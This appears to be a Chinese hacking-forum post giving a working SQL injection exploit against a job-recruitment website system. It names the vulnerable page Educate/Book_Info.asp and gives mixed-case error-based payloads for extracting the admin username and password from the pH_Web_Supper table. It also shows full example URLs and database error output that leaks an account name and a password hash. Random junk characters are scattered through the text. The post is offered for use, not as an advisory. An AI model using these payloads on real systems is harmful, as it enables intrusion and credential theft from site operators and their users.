网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
% k, y+ [$ ?8 n, ]9 F- A: g
exp：如下
3 y0 X0 J- H2 Y6 Y  h查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

7 t# ]% L9 O/ M' p+ E1 z- B3 Ihttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

7 a: n8 ~7 P( yMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'

2 V7 g2 H% q: y$ K将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
& O5 ]0 R. a' a* F  t+ m) k
4 O# U; c( u( _/ R; B/Educate/Book_Info.asp，行 8
) l3 Z! c# K5 K3 p( f. E' \
  M/ u9 a6 ]1 ghttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
8 j' h$ x& y9 |: c; S5 T6 V
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

, C. W) f0 K+ e& \; }5 m将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
( \* h& J& P' b  R. v% `: E
7 I% S- h0 w' c( R8 {/Educate/Book_Info.asp，行 8
; _, q( _( t  ?9 G# H) _​